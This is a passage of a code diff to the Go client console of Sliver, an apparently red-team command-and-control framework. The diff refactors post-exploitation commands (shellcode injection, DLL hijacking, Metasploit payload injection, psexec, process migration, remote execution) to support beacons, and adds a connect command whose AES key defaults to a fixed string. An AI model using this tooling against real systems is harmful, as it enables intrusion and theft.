||||
},
|
||||
})
|
||||
con.App.AddCommand(beaconsCmd)
|
||||
|
||||
// [ Macros ] ---------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
@@ -2341,4 +2555,39 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
})
|
||||
con.App.AddCommand(extensionCmd)
|
||||
// [ Prelude's Operator ] ------------------------------------------------------------
|
||||
operatorCmd := &grumble.Command{
|
||||
Name: consts.PreludeOperatorStr,
|
||||
Help: "Manage connection to Prelude's Operator",
|
||||
LongHelp: help.GetHelpFor([]string{consts.PreludeOperatorStr}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
operator.OperatorCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
}
|
||||
operatorCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.ConnectStr,
|
||||
Help: "Connect with Prelude's Operator",
|
||||
LongHelp: help.GetHelpFor([]string{consts.PreludeOperatorStr, consts.ConnectStr}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
operator.ConnectCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("connection-string", "connection string to the Operator Host")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
|
||||
f.String("a", "aes-key", "abcdefghijklmnopqrstuvwxyz012345", "AES key for communication encryption")
|
||||
f.String("r", "range", "sliver", "Agents range")
|
||||
},
|
||||
})
|
||||
|
||||
con.App.AddCommand(operatorCmd)
|
||||
}
|
||||
@@ -24,7 +24,7 @@ import (
|
||||
"io/ioutil"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -39,7 +39,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
targetDLLData []byte
|
||||
err error
|
||||
)
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -78,12 +78,12 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err = con.Rpc.HijackDLL(context.Background(), &sliverpb.DllHijackReq{
|
||||
_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
|
||||
ReferenceDLLPath: referencePath,
|
||||
TargetLocation: targetPath,
|
||||
ReferenceDLL: localRefData,
|
||||
TargetDLL: targetDLLData,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
ProfileName: profileName,
|
||||
})
|
||||
ctrl <- true
|
||||
|
||||
@@ -22,28 +22,50 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// EnvGetCmd - Get a remote environment variable
|
||||
func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.Get()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
name := ctx.Args.String("name")
|
||||
envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
|
||||
Name: name,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if envInfo.Response != nil && envInfo.Response.Async {
|
||||
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, envInfo)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintGetEnvInfo(envInfo, con)
|
||||
})
|
||||
con.PrintAsyncResponse(envInfo.Response)
|
||||
} else {
|
||||
PrintGetEnvInfo(envInfo, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintGetEnvInfo - Print the results of the env get command
|
||||
func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) {
|
||||
if envInfo.Response != nil && envInfo.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", envInfo.Response.Err)
|
||||
return
|
||||
}
|
||||
for _, envVar := range envInfo.Variables {
|
||||
con.Printf("%s=%s\n", envVar.Key, envVar.Value)
|
||||
}
|
||||
|
||||
@@ -22,15 +22,17 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// EnvSetCmd - Set a remote environment variable
|
||||
func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.Get()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -46,12 +48,31 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Key: name,
|
||||
Value: value,
|
||||
},
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if envInfo.Response != nil && envInfo.Response.Async {
|
||||
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, envInfo)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSetEnvInfo(name, value, envInfo, con)
|
||||
})
|
||||
con.PrintAsyncResponse(envInfo.Response)
|
||||
} else {
|
||||
PrintSetEnvInfo(name, value, envInfo, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// PrintSetEnvInfo - Print the set environment info
|
||||
func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) {
|
||||
if envInfo.Response != nil && envInfo.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", envInfo.Response.Err)
|
||||
return
|
||||
|
||||
@@ -22,14 +22,16 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// EnvUnsetCmd - Unset a remote environment variable
|
||||
func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.Get()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -41,16 +43,34 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
|
||||
Name: name,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if unsetResp.Response != nil && unsetResp.Response.Async {
|
||||
con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, unsetResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintUnsetEnvInfo(name, unsetResp, con)
|
||||
})
|
||||
con.PrintAsyncResponse(unsetResp.Response)
|
||||
} else {
|
||||
PrintUnsetEnvInfo(name, unsetResp, con)
|
||||
}
|
||||
|
||||
if unsetResp.Response != nil && unsetResp.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", unsetResp.Response.Err)
|
||||
}
|
||||
|
||||
// PrintUnsetEnvInfo - Print the set environment info
|
||||
func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) {
|
||||
if envInfo.Response != nil && envInfo.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", envInfo.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully unset %s\n", name)
|
||||
|
||||
@@ -32,7 +32,7 @@ import (
|
||||
|
||||
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
|
||||
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -60,7 +60,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Executing assembly ...", ctrl)
|
||||
executeAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: process,
|
||||
Arguments: strings.Join(assemblyArgs, " "),
|
||||
|
||||
@@ -37,7 +37,7 @@ import (
|
||||
|
||||
// ExecuteShellcodeCmd - Execute shellcode in-memory
|
||||
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -65,7 +65,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
Data: shellcodeBin,
|
||||
RWXPages: ctx.Flags.Bool("rwx-pages"),
|
||||
Pid: uint32(pid),
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -82,7 +82,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
|
||||
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
|
||||
// Check active session
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -104,7 +104,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
|
||||
|
||||
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: hostProc,
|
||||
EnablePTY: !noPty,
|
||||
TunnelID: tunnel.ID,
|
||||
@@ -121,7 +121,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: pid,
|
||||
Data: shellcode,
|
||||
RWXPages: rwxPages,
|
||||
|
||||
@@ -28,7 +28,7 @@ import (
|
||||
|
||||
// ExecuteCmd - Run a command on the remote system
|
||||
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -36,38 +36,58 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
cmdPath := ctx.Args.String("command")
|
||||
args := ctx.Args.StringList("arguments")
|
||||
output := ctx.Flags.Bool("silent")
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
token := ctx.Flags.Bool("token")
|
||||
var exec *sliverpb.Execute
|
||||
var err error
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token {
|
||||
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: !output,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
} else {
|
||||
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: !output,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
}
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
} else if !output {
|
||||
combined := ""
|
||||
if stdout == "" {
|
||||
combined = exec.Stdout
|
||||
con.PrintInfof("Output:\n%s", exec.Stdout)
|
||||
} else {
|
||||
con.PrintInfof("StdOut saved at %s\n", stdout)
|
||||
}
|
||||
if !ignoreStderr && stderr == "" {
|
||||
combined = fmt.Sprintf("%s\nStdErr:\n%s", combined, exec.Stderr)
|
||||
con.PrintInfof("StdErr:\n%s", exec.Stderr)
|
||||
} else {
|
||||
con.PrintInfof("Stderr saved at %s\n", stderr)
|
||||
}
|
||||
if exec.Status != 0 {
|
||||
con.PrintErrorf("Exited with status %d!\n", exec.Status)
|
||||
if exec.Result != "" {
|
||||
con.PrintInfof("Output:\n%s\n", exec.Result)
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("Output:\n%s\n", exec.Result)
|
||||
if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
|
||||
if ctx.Flags.Bool("loot") && 0 < len(combined) {
|
||||
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(exec.Result), false)
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
|
||||
@@ -26,7 +26,7 @@ import (
|
||||
|
||||
// MigrateCmd - Windows only, inject an implant into another process
|
||||
func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.Get()
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -38,7 +38,7 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
|
||||
Pid: uint32(pid),
|
||||
Config: config,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
|
||||
// MsfInjectCmd - Inject a metasploit payload into a remote process
|
||||
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -58,7 +58,7 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
LPort: uint32(lport),
|
||||
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
|
||||
// MsfCmd - Inject a metasploit payload into the current remote process
|
||||
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -52,7 +52,7 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
LPort: uint32(lport),
|
||||
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
@@ -36,7 +37,7 @@ import (
|
||||
|
||||
// PsExecCmd - psexec command implementation.
|
||||
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -55,7 +56,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
|
||||
con.PrintWarnf("Warning: You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
|
||||
con.PrintWarnf("You might want to change that before going further...\n")
|
||||
if !con.IsUserAnAdult() {
|
||||
if !settings.IsUserAnAdult(con) {
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -96,7 +97,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Encoder: "gzip",
|
||||
Data: uploadGzip,
|
||||
Path: filePath,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
uploadCtrl <- true
|
||||
<-uploadCtrl
|
||||
@@ -119,7 +120,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
|
||||
BinPath: binaryPath,
|
||||
Hostname: hostname,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
ServiceDescription: serviceDesc,
|
||||
ServiceName: serviceName,
|
||||
Arguments: "",
|
||||
@@ -142,7 +143,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Hostname: hostname,
|
||||
ServiceName: serviceName,
|
||||
},
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
removeChan <- true
|
||||
<-removeChan
|
||||
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
|
||||
// SideloadCmd - Sideload a shared library on the remote system
|
||||
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.Get()
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -51,7 +51,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
|
||||
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: args,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
|
||||
@@ -15,7 +15,7 @@ import (
|
||||
|
||||
// SpawnDllCmd - Spawn execution of a DLL on the remote system
|
||||
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.Get()
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -36,7 +36,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ProcessName: processName,
|
||||
Args: dllArgs,
|
||||
EntryPoint: exportName,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Kill: !ctx.Flags.Bool("keep-alive"),
|
||||
})
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
privKey []byte
|
||||
err error
|
||||
)
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -58,7 +58,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
PrivKey: privKey,
|
||||
Password: password,
|
||||
Command: strings.Join(command, " "),
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -158,13 +158,13 @@ func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConso
|
||||
}
|
||||
|
||||
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s", err)
|
||||
@@ -192,7 +192,7 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
|
||||
// Try to find the extension in the loaded extensions
|
||||
if len(session.Extensions) == 0 {
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
@@ -255,7 +255,7 @@ func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand,
|
||||
Data: binData,
|
||||
OS: session.OS,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -290,7 +290,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
extName string
|
||||
entryPoint string
|
||||
)
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -350,7 +350,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Name: extName,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -28,16 +28,18 @@ import (
|
||||
"github.com/alecthomas/chroma/lexers"
|
||||
"github.com/alecthomas/chroma/styles"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CatCmd - Display the contents of a remote file
|
||||
func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -48,13 +50,36 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintCat(download, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
PrintCat(download, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintCat - Print the download to stdout
|
||||
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
@@ -73,14 +98,6 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Println(string(download.Data))
|
||||
}
|
||||
}
|
||||
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
|
||||
// err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false)
|
||||
// if err != nil {
|
||||
// con.PrintErrorf("Failed to save output as loot: %s", err)
|
||||
// } else {
|
||||
// fmt.Printf(clearln + Info + "Output saved as loot\n")
|
||||
// }
|
||||
// }
|
||||
}
|
||||
|
||||
func colorize(f *sliverpb.Download) error {
|
||||
|
||||
@@ -22,26 +22,41 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CdCmd - Change directory on the remote system
|
||||
func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
filePath := ctx.Args.String("path")
|
||||
|
||||
pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if pwd.Response != nil && pwd.Response.Async {
|
||||
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
